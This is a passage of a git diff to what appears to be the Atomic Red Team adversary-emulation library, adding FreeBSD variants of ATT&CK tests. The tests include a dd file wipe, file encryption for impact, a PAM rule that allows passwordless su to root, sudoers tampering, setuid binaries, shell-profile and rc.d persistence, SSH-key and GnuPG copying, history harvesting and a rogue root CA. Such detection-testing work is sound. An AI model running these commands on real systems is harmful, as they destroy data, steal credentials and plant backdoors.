38deee99-fd65-4031-bec8-bfa4f9f26146 description: | Overwrites and deletes a file using DD. To stop the test, break the command with CTRL/CMD+C. supported_platforms: + - freebsd - linux - macos input_arguments: @@ -53,7 +54,7 @@ atomic_tests: executor: command: | dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytes - name: bash + name: sh - name: Overwrite deleted data on C drive auto_generated_guid: 321fd25e-0007-417f-adec-33232252be19 description: | diff --git a/atomics/T1486/T1486.yaml b/atomics/T1486/T1486.yaml index c91fafe747..e4a1ffb9c8 100644 --- a/atomics/T1486/T1486.yaml +++ b/atomics/T1486/T1486.yaml @@ -1,11 +1,12 @@ attack_technique: T1486 display_name: Data Encrypted for Impact atomic_tests: -- name: Encrypt files using gpg (Linux) +- name: Encrypt files using gpg (FreeBSD/Linux) auto_generated_guid: 7b8ce084-3922-4618-8d22-95f996173765 description: | Uses gpg to encrypt a file supported_platforms: + - freebsd - linux input_arguments: pwd_for_encrypted_file: @@ -31,20 +32,21 @@ atomic_tests: prereq_command: | which_gpg=`which gpg` get_prereq_command: | - (which yum && yum -y install epel-release gpg)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y gpg) + (which pkg && pkg install -y gnupg)||(which yum && yum -y install epel-release gpg)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y gpg) executor: - name: bash + name: sh elevation_required: false command: | echo "#{pwd_for_encrypted_file}" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path} cleanup_command: | rm #{encrypted_file_path} -- name: Encrypt files using 7z (Linux) +- name: Encrypt files using 7z (FreeBSD/Linux) auto_generated_guid: 53e6735a-4727-44cc-b35b-237682a151ad description: | Uses 7z to encrypt a file supported_platforms: + - freebsd - linux input_arguments: pwd_for_encrypted_file: @@ -66,8 +68,9 @@ atomic_tests: prereq_command: | which_7z=`which 7z` get_prereq_command: | + (which pkg && pkg install -y 7-zip) executor: - name: bash + name: sh elevation_required: false command: | $which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path} @@ -75,11 +78,12 @@ atomic_tests: $which_7z e #{encrypted_file_path} rm #{encrypted_file_path} -- name: Encrypt files using ccrypt (Linux) +- name: Encrypt files using ccrypt (FreeBSD/Linux) auto_generated_guid: 08cbf59f-85da-4369-a5f4-049cffd7709f description: | Attempts to encrypt data on target systems as root to simulate an inturruption authentication to target system. If root permissions are not available then attempts to encrypt data within user's home directory. supported_platforms: + - freebsd - linux input_arguments: cped_file_path: @@ -99,29 +103,30 @@ atomic_tests: description: command to show impact of encryption type: string default: sudo su - dependency_executor_name: bash + dependency_executor_name: sh dependencies: - description: | Finds where ccencrypt and ccdecrypt is located and copies input file prereq_command: | which_ccencrypt=`which ccencrypt` which_ccdecrypt=`which ccdecrypt` - if [[ $USER == "root" ]]; then cp #{root_input_file_path} #{cped_file_path}; else cp #{user_input_file_path} #{cped_file_path}; fi + if [ $USER == "root" ]; then cp #{root_input_file_path} #{cped_file_path}; else cp #{user_input_file_path} #{cped_file_path}; fi get_prereq_command: | - (which yum && yum -y install epel-release ccrypt)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y ccrypt) + (which pkg && pkg install -y ccript)||(which yum && yum -y install epel-release ccrypt)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y ccrypt) executor: - name: bash + name: sh elevation_required: false command: | - if [[ $USER == "root" ]]; then $which_ccencrypt #{root_input_file_path}; file #{root_input_file_path}.cpt; #{impact_command}; else $which_ccencrypt #{user_input_file_path}; file #{user_input_file_path}.cpt; #{impact_command}; fi + if [ $USER == "root" ]; then $which_ccencrypt #{root_input_file_path}; file #{root_input_file_path}.cpt; #{impact_command}; else $which_ccencrypt #{user_input_file_path}; file #{user_input_file_path}.cpt; #{impact_command}; fi cleanup_command: | - if [[ $USER == "root" ]]; then mv #{cped_file_path} #{root_input_file_path}; else cp #{cped_file_path} #{user_input_file_path}; fi + if [ $USER == "root" ]; then mv #{cped_file_path} #{root_input_file_path}; else cp #{cped_file_path} #{user_input_file_path}; fi -- name: Encrypt files using openssl (Linux) +- name: Encrypt files using openssl (FreeBSD/Linux) auto_generated_guid: 142752dc-ca71-443b-9359-cf6f497315f1 description: | Uses openssl to encrypt a file supported_platforms: + - freebsd - linux input_arguments: private_key_path: @@ -152,7 +157,7 @@ atomic_tests: which_openssl=`which openssl` get_prereq_command: | executor: - name: bash + name: sh elevation_required: false command: | $which_openssl genrsa -out #{private_key_path} #{encryption_bit_size} diff --git a/atomics/T1496/T1496.yaml b/atomics/T1496/T1496.yaml index 0155ef64e3..22639ed13e 100644 --- a/atomics/T1496/T1496.yaml +++ b/atomics/T1496/T1496.yaml @@ -1,16 +1,17 @@ attack_technique: T1496 display_name: Resource Hijacking atomic_tests: -- name: macOS/Linux - Simulate CPU Load with Yes +- name: FreeBSD/macOS/Linux - Simulate CPU Load with Yes auto_generated_guid: 904a5a0e-fb02-490d-9f8d-0e256eb37549 description: | This test simulates a high CPU load as you might observe during cryptojacking attacks. End the test by using CTRL/CMD+C to break. supported_platforms: + - freebsd - macos - linux executor: command: | yes > /dev/null - name: bash + name: sh diff --git a/atomics/T1497.001/T1497.001.yaml b/atomics/T1497.001/T1497.001.yaml index 67e02f104b..e2592c64d3 100644 --- a/atomics/T1497.001/T1497.001.yaml +++ b/atomics/T1497.001/T1497.001.yaml @@ -15,6 +15,17 @@ atomic_tests: command: | if (systemd-detect-virt) then echo "Virtualization Environment detected"; fi; if (sudo dmidecode | egrep -i 'manufacturer|product|vendor' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo "Virtualization Environment detected"; fi; +- name: Detect Virtualization Environment (FreeBSD) + description: | + Detects execution in a virtualized environment. + At boot, dmesg stores a log if a hypervisor is detected. + supported_platforms: + - freebsd + executor: + name: sh + elevation_required: true + command: | + if [ "$(sysctl -n hw.hv_vendor)" != "" ]; then echo "Virtualization Environment detected"; fi - name: Detect Virtualization Environment (Windows) auto_generated_guid: 502a7dc4-9d6f-4d28-abf2-f0e84692562d description: | diff --git a/atomics/T1518.001/T1518.001.yaml b/atomics/T1518.001/T1518.001.yaml index c7c5d1b68b..c0a433df79 100644 --- a/atomics/T1518.001/T1518.001.yaml +++ b/atomics/T1518.001/T1518.001.yaml @@ -73,6 +73,16 @@ atomic_tests: command: | ps aux | egrep 'falcond|nessusd|cbagentd|td-agent|packetbeat|filebeat|auditbeat|osqueryd' name: sh +- name: Security Software Discovery - pgrep (FreeBSD) + description: | + Methods to identify Security Software on an endpoint + when sucessfully executed, command shell is going to display AV/Security software it is running. + supported_platforms: + - freebsd + executor: + command: | + pgrep -l 'bareos-fd|icinga2|cbagentd|wazuh-agent|packetbeat|filebeat|osqueryd' + name: sh - name: Security Software Discovery - Sysmon Service auto_generated_guid: fe613cf3-8009-4446-9a0f-bc78a15b66c9 description: | diff --git a/atomics/T1529/T1529.yaml b/atomics/T1529/T1529.yaml index 4bde7a3405..e3e00fa967 100644 --- a/atomics/T1529/T1529.yaml +++ b/atomics/T1529/T1529.yaml @@ -33,11 +33,12 @@ atomic_tests: shutdown /r /t #{timeout} name: command_prompt elevation_required: true -- name: Restart System via `shutdown` - macOS/Linux +- name: Restart System via `shutdown` - FreeBSD/macOS/Linux auto_generated_guid: 6326dbc4-444b-4c04-88f4-27e94d0327cb description: | - This test restarts a macOS/Linux system. + This test restarts a FreeBSD/macOS/Linux system. supported_platforms: + - freebsd - macos - linux input_arguments: @@ -48,13 +49,14 @@ atomic_tests: executor: command: | shutdown -r #{timeout} - name: bash + name: sh elevation_required: true -- name: Shutdown System via `shutdown` - macOS/Linux +- name: Shutdown System via `shutdown` - FreeBSD/macOS/Linux auto_generated_guid: 4963a81e-a3ad-4f02-adda-812343b351de description: | - This test shuts down a macOS/Linux system using a halt. + This test shuts down a FreeBSD/macOS/Linux system using a halt. supported_platforms: + - freebsd - macos - linux input_arguments: @@ -65,30 +67,42 @@ atomic_tests: executor: command: | shutdown -h #{timeout} - name: bash + name: sh elevation_required: true -- name: Restart System via `reboot` - macOS/Linux +- name: Restart System via `reboot` - FreeBSD/macOS/Linux auto_generated_guid: 47d0b042-a918-40ab-8cf9-150ffe919027 description: | - This test restarts a macOS/Linux system via `reboot`. + This test restarts a FreeBSD/macOS/Linux system via `reboot`. supported_platforms: + - freebsd - macos - linux executor: command: | reboot - name: bash + name: sh elevation_required: true -- name: Shutdown System via `halt` - Linux +- name: Shutdown System via `halt` - FreeBSD/Linux auto_generated_guid: 918f70ab-e1ef-49ff-bc57-b27021df84dd description: | - This test shuts down a Linux system using `halt`. + This test shuts down a FreeBSD/Linux system using `halt`. supported_platforms: + - freebsd - linux executor: command: | halt -p - name: bash + name: sh + elevation_required: true +- name: Reboot System via `halt` - FreeBSD + description: | + This test restarts a FreeBSD system using `halt`. + supported_platforms: + - freebsd + executor: + command: | + halt -r + name: sh elevation_required: true - name: Reboot System via `halt` - Linux auto_generated_guid: 78f92e14-f1e9-4446-b3e9-f1b921f2459e @@ -101,16 +115,27 @@ atomic_tests: halt --reboot name: bash elevation_required: true -- name: Shutdown System via `poweroff` - Linux +- name: Shutdown System via `poweroff` - FreeBSD/Linux auto_generated_guid: 73a90cd2-48a2-4ac5-8594-2af35fa909fa description: | - This test shuts down a Linux system using `poweroff`. + This test shuts down a FreeBSD/Linux system using `poweroff`. supported_platforms: + - freebsd - linux executor: command: | poweroff - name: bash + name: sh + elevation_required: true +- name: Reboot System via `poweroff` - FreeBSD + description: | + This test restarts a FreeBSD system using `poweroff`. + supported_platforms: + - freebsd + executor: + command: | + poweroff -r 3 + name: sh elevation_required: true - name: Reboot System via `poweroff` - Linux auto_generated_guid: 61303105-ff60-427b-999e-efb90b314e41 diff --git a/atomics/T1543.002/T1543.002.yaml b/atomics/T1543.002/T1543.002.yaml index d97d5703b6..ce87a447dd 100644 --- a/atomics/T1543.002/T1543.002.yaml +++ b/atomics/T1543.002/T1543.002.yaml @@ -1,5 +1,5 @@ attack_technique: T1543.002 -display_name: 'Create or Modify System Process: Systemd Service' +display_name: 'Create or Modify System Process: SysV/Systemd Service' atomic_tests: - name: Create Systemd Service auto_generated_guid: d9e4f24f-aa67-4c6e-bcbf-85622b697a7c @@ -65,7 +65,50 @@ atomic_tests: rm -rf #{systemd_service_path}/#{systemd_service_file} systemctl daemon-reload name: bash - +- name: Create SysV Service + description: | + This test creates a SysV service unit file and enables it as a service. + supported_platforms: + - freebsd + input_arguments: + rc_service_path: + description: Path to rc service file + type: path + default: /usr/local/etc/rc.d + rc_service_file: + description: File name of rc service file + type: string + default: art-test + executor: + command: | + echo '#\!/bin/sh' > #{rc_service_path}/#{rc_service_file} + echo ' ' >> #{rc_service_path}/#{rc_service_file} + echo '#' >> #{rc_service_path}/#{rc_service_file} + echo '# PROVIDE: art-test' >> #{rc_service_path}/#{rc_service_file} + echo '# REQUIRE: LOGIN' >> #{rc_service_path}/#{rc_service_file} + echo '# KEYWORD: shutdown' >> #{rc_service_path}/#{rc_service_file} + echo ' ' >> #{rc_service_path}/#{rc_service_file} + echo '. /etc/rc.subr' >> #{rc_service_path}/#{rc_service_file} + echo ' ' >> #{rc_service_path}/#{rc_service_file} + echo 'name="art_test"' >> #{rc_service_path}/#{rc_service_file} + echo 'rcvar=art_test_enable' >> #{rc_service_path}/#{rc_service_file} + echo 'load_rc_config ${name}' >> #{rc_service_path}/#{rc_service_file} + echo 'command="/usr/bin/touch"' >> #{rc_service_path}/#{rc_service_file} + echo 'start_cmd="art_test_start"' >> #{rc_service_path}/#{rc_service_file} + echo '' >> #{rc_service_path}/#{rc_service_file} + echo 'art_test_start()' >> #{rc_service_path}/#{rc_service_file} + echo '{' >> #{rc_service_path}/#{rc_service_file} + echo ' ${command} /tmp/art-test.marker' >> #{rc_service_path}/#{rc_service_file} + echo '}' >> #{rc_service_path}/#{rc_service_file} + echo ' ' >> #{rc_service_path}/#{rc_service_file} + echo 'run_rc_command "$1"' >> #{rc_service_path}/#{rc_service_file} + chmod +x #{rc_service_path}/#{rc_service_file} + service art-test enable + service art-test start + cleanup_command: | + sysrc -x art_test_enable + rm -f #{rc_service_path}/#{rc_service_file} + name: sh - name: Create Systemd Service file, Enable the service , Modify and Reload the service. auto_generated_guid: c35ac4a8-19de-43af-b9f8-755da7e89c89 diff --git a/atomics/T1546.004/T1546.004.yaml b/atomics/T1546.004/T1546.004.yaml index 83f57c8e0f..4c5e481818 100644 --- a/atomics/T1546.004/T1546.004.yaml +++ b/atomics/T1546.004/T1546.004.yaml @@ -1,5 +1,5 @@ attack_technique: T1546.004 -display_name: 'Event Triggered Execution: .bash_profile and .bashrc' +display_name: 'Event Triggered Execution: .bash_profile .bashrc and .shrc' atomic_tests: - name: Add command to .bash_profile auto_generated_guid: 94500ae1-7e31-47e3-886b-c328da46872f @@ -39,11 +39,29 @@ atomic_tests: head -n '-2' ~/.bashrc > /tmp/T1546.004 mv /tmp/T1546.004 ~/.bashrc name: sh +- name: Add command to .shrc + description: | + Adds a command to the .shrc file of the current user + supported_platforms: + - freebsd + input_arguments: + command_to_add: + description: Command to add to the .shrc file + type: string + default: echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004 + executor: + command: | + echo '#{command_to_add}' >> ~/.shrc + cleanup_command: | + head -n '-2' ~/.shrc > /tmp/T1546.004 + mv /tmp/T1546.004 ~/.shrc + name: sh - name: Append to the system shell profile auto_generated_guid: 694b3cc8-6a78-4d35-9e74-0123d009e94b description: | An adversary may wish to establish persistence by executing malicious commands from the systems /etc/profile every time "any" user logs in. supported_platforms: + - freebsd - linux input_arguments: text_to_append: @@ -62,6 +80,7 @@ atomic_tests: description: | An adversary may wish to establish persistence by executing malicious commands from the users ~/.profile every time the "user" logs in. supported_platforms: + - freebsd - linux input_arguments: text_to_append: diff --git a/atomics/T1546.005/T1546.005.yaml b/atomics/T1546.005/T1546.005.yaml index 55f3f7b68d..bd2c6a09fa 100644 --- a/atomics/T1546.005/T1546.005.yaml +++ b/atomics/T1546.005/T1546.005.yaml @@ -15,6 +15,26 @@ atomic_tests: cleanup_command: | rm -f /tmp/art-fish.txt name: sh +- name: Trap EXIT (freebsd) + description: | + Launch bash shell with command arg to create TRAP on EXIT. + The trap executes script that writes to /tmp/art-fish.txt + supported_platforms: + - freebsd + dependency_executor_name: sh + dependencies: + - description: | + Check if bash is installed. + prereq_command: | + if [ ! -x "$(command -v bash)" ]; then exit 1; else exit 0; fi; + get_prereq_command: | + (which pkg && pkg install -y bash) + executor: + command: | + bash -c 'trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" EXIT' + cleanup_command: | + rm -f /tmp/art-fish.txt + name: sh - name: Trap SIGINT auto_generated_guid: a547d1ba-1d7a-4cc5-a9cb-8d65e8809636 description: | @@ -29,3 +49,23 @@ atomic_tests: cleanup_command: | rm -f /tmp/art-fish.txt name: sh +- name: Trap SIGINT (freebsd) + description: | + Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal. + The trap executes script that writes to /tmp/art-fish.txt + supported_platforms: + - freebsd + dependency_executor_name: sh + dependencies: + - description: | + Check if bash is installed. + prereq_command: | + if [ ! -x "$(command -v bash)" ]; then exit 1; else exit 0; fi; + get_prereq_command: | + (which pkg && pkg install -y bash) + executor: + command: | + bash -c 'trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" SIGINT && kill -SIGINT $$' + cleanup_command: | + rm -f /tmp/art-fish.txt + name: sh diff --git a/atomics/T1548.001/T1548.001.yaml b/atomics/T1548.001/T1548.001.yaml index 222d71c002..ca39e7e64f 100644 --- a/atomics/T1548.001/T1548.001.yaml +++ b/atomics/T1548.001/T1548.001.yaml @@ -26,10 +26,33 @@ atomic_tests: sudo rm /tmp/hello.c name: sh elevation_required: true +- name: Make and modify binary from C source (freebsd) + description: | + Make, change owner, and change file attributes on a C source code file + supported_platforms: + - freebsd + input_arguments: + payload: + description: hello.c payload + type: path + default: PathToAtomicsFolder/T1548.001/src/hello.c + executor: + command: | + cp #{payload} /tmp/hello.c + chown root /tmp/hello.c + make /tmp/hello + chown root /tmp/hello + chmod u+s /tmp/hello + /tmp/hello + cleanup_command: | + rm /tmp/hello + rm /tmp/hello.c + name: sh + elevation_required: true - name: Set a SetUID flag on file auto_generated_guid: 759055b3-3885-4582-a8ec-c00c9d64dd79 description: | - This test sets the SetUID flag on a file in Linux and macOS. + This test sets the SetUID flag on a file in FreeBSD. supported_platforms: - macos - linux @@ -47,6 +70,25 @@ atomic_tests: sudo rm #{file_to_setuid} name: sh elevation_required: true +- name: Set a SetUID flag on file (freebsd) + description: | + This test sets the SetUID flag on a file in FreeBSD. + supported_platforms: + - freebsd + input_arguments: + file_to_setuid: + description: Path of file to set SetUID flag + type: path + default: /tmp/evilBinary + executor: + command: | + touch #{file_to_setuid} + chown root #{file_to_setuid} + chmod u+xs #{file_to_setuid} + cleanup_command: | + rm #{file_to_setuid} + name: sh + elevation_required: true - name: Set a SetGID flag on file auto_generated_guid: db55f666-7cba-46c6-9fe6-205a05c3242c description: | @@ -68,6 +110,25 @@ atomic_tests: sudo rm #{file_to_setuid} name: sh elevation_required: true +- name: Set a SetGID flag on file (freebsd) + description: | + This test sets the SetGID flag on a file in FreeBSD. + supported_platforms: + - freebsd + input_arguments: + file_to_setuid: + description: Path of file to set SetGID flag + type: path + default: /tmp/evilBinary + executor: + command: | + touch #{file_to_setuid} + chown root #{file_to_setuid} + chmod g+xs #{file_to_setuid} + cleanup_command: | + rm #{file_to_setuid} + name: sh + elevation_required: true - name: Make and modify capabilities of a binary auto_generated_guid: db53959c-207d-4000-9e7a-cd8eb417e072 description: | @@ -116,6 +177,7 @@ atomic_tests: description: | This test simulates a command that can be run to enumerate files that have the setuid bit set supported_platforms: + - freebsd - linux executor: command: | @@ -126,8 +188,9 @@ atomic_tests: description: | This test simulates a command that can be run to enumerate files that have the setgid bit set supported_platforms: + - freebsd - linux executor: command: | find /usr/bin -perm -2000 - name: sh \ No newline at end of file + name: sh diff --git a/atomics/T1548.003/T1548.003.yaml b/atomics/T1548.003/T1548.003.yaml index a6f671a8ee..c7288ea017 100644 --- a/atomics/T1548.003/T1548.003.yaml +++ b/atomics/T1548.003/T1548.003.yaml @@ -20,6 +20,31 @@ atomic_tests: sudo cat /etc/sudoers sudo vim /etc/sudoers +- name: Sudo usage (freebsd) + description: | + Common Sudo enumeration methods. + + supported_platforms: + - freebsd + + dependency_executor_name: sh + dependencies: + - description: | + Check if sudo is installed. + prereq_command: | + if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit 0; fi; + get_prereq_command: | + (which pkg && pkg install -y sudo) + + executor: + name: sh + elevation_required: true + command: | + sudo -l + sudo cat /usr/local/etc/sudoers + sudo ee /usr/local/etc/sudoers + + - name: Unlimited sudo cache timeout auto_generated_guid: a7b17659-dd5e-46f7-b7d1-e6792c91d0bc description: | @@ -36,6 +61,30 @@ atomic_tests: sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers sudo visudo -c -f /etc/sudoers +- name: Unlimited sudo cache timeout (freebsd) + description: | + Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using 'visudo', do not do this on a production system. + + supported_platforms: + - freebsd + + dependency_executor_name: sh + dependencies: + - description: | + Check if sudo is installed. + prereq_command: | + if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit 0; fi; + get_prereq_command: | + (which pkg && pkg install -y sudo) + + executor: + name: sh + elevation_required: true + command: | + sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers + sudo visudo -c -f /usr/local/etc/sudoers + + - name: Disable tty_tickets for sudo caching auto_generated_guid: 91a60b03-fb75-4d24-a42e-2eb8956e8de1 description: | @@ -50,4 +99,28 @@ atomic_tests: elevation_required: true command: | sudo sh -c "echo Defaults "'!'"tty_tickets >> /etc/sudoers" - sudo visudo -c -f /etc/sudoers \ No newline at end of file + sudo visudo -c -f /etc/sudoers + +- name: Disable tty_tickets for sudo caching (freebsd) + description: | + Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using 'visudo', do not do this on a production system. + + supported_platforms: + - freebsd + + dependency_executor_name: sh + dependencies: + - description: | + Check if sudo is installed. + prereq_command: | + if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit 0; fi; + get_prereq_command: | + (which pkg && pkg install -y sudo) + + executor: + name: sh + elevation_required: true + command: | + sudo sh -c "echo Defaults "'!'"tty_tickets >> /usr/local/etc/sudoers" + sudo visudo -c -f /usr/local/etc/sudoers + diff --git a/atomics/T1552.001/T1552.001.yaml b/atomics/T1552.001/T1552.001.yaml index 1aa05d91b5..b57b6da5ea 100644 --- a/atomics/T1552.001/T1552.001.yaml +++ b/atomics/T1552.001/T1552.001.yaml @@ -6,6 +6,7 @@ atomic_tests: description: | Find local AWS credentials from file, defaults to using / as the look path. supported_platforms: + - freebsd - macos - linux input_arguments: @@ -33,6 +34,7 @@ atomic_tests: description: | Extracting credentials from files supported_platforms: + - freebsd - macos - linux input_arguments: @@ -76,6 +78,7 @@ atomic_tests: This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found. supported_platforms: + - freebsd - macos - linux input_arguments: diff --git a/atomics/T1552.003/T1552.003.yaml b/atomics/T1552.003/T1552.003.yaml index 3e9a7f9ce4..39e33f67ef 100644 --- a/atomics/T1552.003/T1552.003.yaml +++ b/atomics/T1552.003/T1552.003.yaml @@ -25,3 +25,25 @@ atomic_tests: command: | cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file} name: sh +- name: Search Through sh History + description: | + Search through sh history for specifice commands we want to capture + supported_platforms: + - freebsd + input_arguments: + output_file: + description: Path where captured results will be placed + type: path + default: ~/loot.txt + sh_history_grep_args: + description: grep arguments that filter out specific commands we want to capture + type: path + default: -e '-p ' -e 'pass' -e 'ssh' + sh_history_filename: + description: Path of the sh history file to capture + type: path + default: ~/.history + executor: + command: | + cat #{sh_history_filename} | grep #{sh_history_grep_args} > #{output_file} + name: sh diff --git a/atomics/T1552.004/T1552.004.yaml b/atomics/T1552.004/T1552.004.yaml index 9591868e98..0db9fdbf25 100644 --- a/atomics/T1552.004/T1552.004.yaml +++ b/atomics/T1552.004/T1552.004.yaml @@ -16,8 +16,9 @@ atomic_tests: - name: Discover Private SSH Keys auto_generated_guid: 46959285-906d-40fa-9437-5a439accd878 description: | - Discover private SSH keys on a macOS or Linux system. + Discover private SSH keys on a FreeBSD, macOS or Linux system. supported_platforms: + - freebsd - macos - linux input_arguments: @@ -59,6 +60,35 @@ atomic_tests: cleanup_command: | rm -rf #{output_folder} name: sh +- name: Copy Private SSH Keys with CP (freebsd) + description: | + Copy private SSH keys on a FreeBSD system to a staging folder using the `cp` command. + supported_platforms: + - freebsd + input_arguments: + search_path: + description: Path where to start searching from. + type: path + default: / + output_folder: + description: Output folder containing copies of SSH private key files + type: path + default: /tmp/art-staging + dependency_executor_name: sh + dependencies: + - description: | + Install GNU cp from coreutils package. + prereq_command: | + if [ ! -x "$(command -v gcp)" ]; then exit 1; else exit 0; fi; + get_prereq_command: | + (which pkg && pkg install -y coreutils) + executor: + command: | + mkdir #{output_folder} + find #{search_path} -name id_rsa 2>/dev/null -exec gcp --parents {} #{output_folder} \; + cleanup_command: | + rm -rf #{output_folder} + name: sh - name: Copy Private SSH Keys with rsync auto_generated_guid: 864bb0b2-6bb5-489a-b43b-a77b3a16d68a description: | @@ -83,6 +113,35 @@ atomic_tests: cleanup_command: | rm -rf #{output_folder} name: sh +- name: Copy Private SSH Keys with rsync (freebsd) + description: | + Copy private SSH keys on a FreeBSD system to a staging folder using the `rsync` command. + supported_platforms: + - freebsd + input_arguments: + search_path: + description: Path where to start searching from. + type: path + default: / + output_folder: + description: Output folder containing copies of SSH private key files + type: path + default: /tmp/art-staging + dependency_executor_name: sh + dependencies: + - description: | + Check if rsync is installed. + prereq_command: | + if [ ! -x "$(command -v rsync)" ]; then exit 1; else exit 0; fi; + get_prereq_command: | + (which pkg && pkg install -y rsync) + executor: + command: | + mkdir #{output_folder} + find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \; + cleanup_command: | + rm -rf #{output_folder} + name: sh - name: Copy the users GnuPG directory with rsync auto_generated_guid: 2a5a0601-f5fb-4e2e-aa09-73282ae6afca description: | @@ -107,6 +166,35 @@ atomic_tests: cleanup_command: | rm -rf #{output_folder} name: sh +- name: Copy the users GnuPG directory with rsync (freebsd) + description: | + Copy the users GnuPG (.gnupg) directory on a FreeBSD system to a staging folder using the `rsync` command. + supported_platforms: + - freebsd + input_arguments: + search_path: + description: Path where to start searching from + type: path + default: / + output_folder: + description: Output folder containing a copy of the .gnupg directory + type: path + default: /tmp/GnuPG + dependency_executor_name: sh + dependencies: + - description: | + Check if rsync is installed. + prereq_command: | + if [ ! -x "$(command -v rsync)" ]; then exit 1; else exit 0; fi; + get_prereq_command: | + (which pkg && pkg install -y rsync) + executor: + command: | + mkdir #{output_folder} + find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \; + cleanup_command: | + rm -rf #{output_folder} + name: sh - name: ADFS token signing and encryption certificates theft - Local auto_generated_guid: 78e95057-d429-4e66-8f82-0f060c1ac96f description: | diff --git a/atomics/T1553.004/T1553.004.yaml b/atomics/T1553.004/T1553.004.yaml index 32757aac3d..8c3a8c54d2 100644 --- a/atomics/T1553.004/T1553.004.yaml +++ b/atomics/T1553.004/T1553.004.yaml @@ -27,6 +27,31 @@ atomic_tests: update-ca-trust name: sh elevation_required: true +- name: Install root CA on FreeBSD + description: | + Creates a root CA with openssl + supported_platforms: + - freebsd + input_arguments: + cert_filename: + description: Path of the CA certificate we create + type: path + default: rootCA.crt + key_filename: + description: Key we create that is used to create the CA certificate + type: path + default: rootCA.key + executor: + command: | + openssl genrsa -out #{key_filename} 4096 + openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename} + cp #{cert_filename} /usr/local/share/certs/ + certctl rehash + cleanup_command: | + rm /usr/local/share/certs/#{cert_filename} + certctl rehash + name: sh + elevation_required: true - name: Install root CA on Debian/Ubuntu auto_generated_guid: 53bcf8a0-1549-4b85-b919-010c56d724ff description: | diff --git a/atomics/T1556.003/T1556.003.yaml b/atomics/T1556.003/T1556.003.yaml index 19dcfc377d..896cab8529 100644 --- a/atomics/T1556.003/T1556.003.yaml +++ b/atomics/T1556.003/T1556.003.yaml @@ -29,6 +29,34 @@ atomic_tests: sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} cleanup_command: | sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf} +- name: Malicious PAM rule (freebsd) + description: | + Inserts a rule into a PAM config and then tests it. + + Upon successful execution, this test will insert a rule that allows every user to su to root without a password. + supported_platforms: + - freebsd + input_arguments: + path_to_pam_conf: + description: PAM config file to modify. + type: string + default: /etc/pam.d/su + pam_rule: + description: Rule to add to the PAM config. + type: string + default: auth sufficient pam_succeed_if.so uid >= 0 + index: + description: Index where the rule is inserted. + type: integer + default: 8 + executor: + name: sh + elevation_required: true + command: | + sudo sed -i "" "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} + cleanup_command: | + sudo sed -i "" "/#{pam_rule}/d" #{path_to_pam_conf} + - name: Malicious PAM module auto_generated_guid: 65208808-3125-4a2e-8389-a0a00e9ab326 description: | diff --git a/atomics/T1560.001/T1560.001.yaml b/atomics/T1560.001/T1560.001.yaml index 3d3dc1eff7..e9aa604c9f 100644 --- a/atomics/T1560.001/T1560.001.yaml +++ b/atomics/T1560.001/T1560.001.yaml @@ -193,6 +193,7 @@ atomic_tests: description: | An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression. supported_platforms: + - freebsd - linux - macos input_arguments: @@ -216,6 +217,7 @@ atomic_tests: description: | An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression. supported_platforms: + - freebsd - linux - macos input_arguments: @@ -246,6 +248,7 @@ atomic_tests: description: | Encrypt data for exiltration supported_platforms: + - freebsd - macos - linux input_arguments: @@ -267,7 +270,7 @@ atomic_tests: prereq_command: | if [ ! -x "$(command -v gpg)" ] || [ ! -x "$(command -v zip)" ]; then exit 1; fi; get_prereq_command: | - (which yum && yum -y install epel-release zip gpg)||(which apt-get && apt-get install -y zip gpg) + (which pkg && pkg install -y gnupg zip)||(which yum && yum -y install epel-release zip gpg)||(which apt-get && apt-get install -y zip gpg) executor: name: sh elevation_required: false diff --git a/atomics/T1560.002/T1560.002.yaml b/atomics/T1560.002/T1560.002.yaml index f139faf9a3..524ad293ab 100644 --- a/atomics/T1560.002/T1560.002.yaml +++ b/atomics/T1560.002/T1560.002.yaml @@ -2,11 +2,12 @@ attack_technique: T1560.002 display_name: 'Archive Collected Data: Archive via Library' atomic_tests: -- name: Compressing data using GZip in Python (Linux) +- name: Compressing data using GZip in Python (FreeBSD/Linux) auto_generated_guid: 391f5298-b12d-4636-8482-35d9c17d53a8 description: | Uses GZip from Python to compress files supported_platforms: + - freebsd - linux input_arguments: path_to_input_file: @@ -17,7 +18,7 @@ atomic_tests: description: Path of the file that you want your .gz file to be type: path default: /tmp/passwd.gz - dependency_executor_name: bash + dependency_executor_name: sh dependencies: - description: | Requires Python @@ -26,18 +27,19 @@ atomic_tests: get_prereq_command: | echo "please install python to run this test"; exit 1 executor: - name: bash + name: sh elevation_required: false command: | which_python=`which python 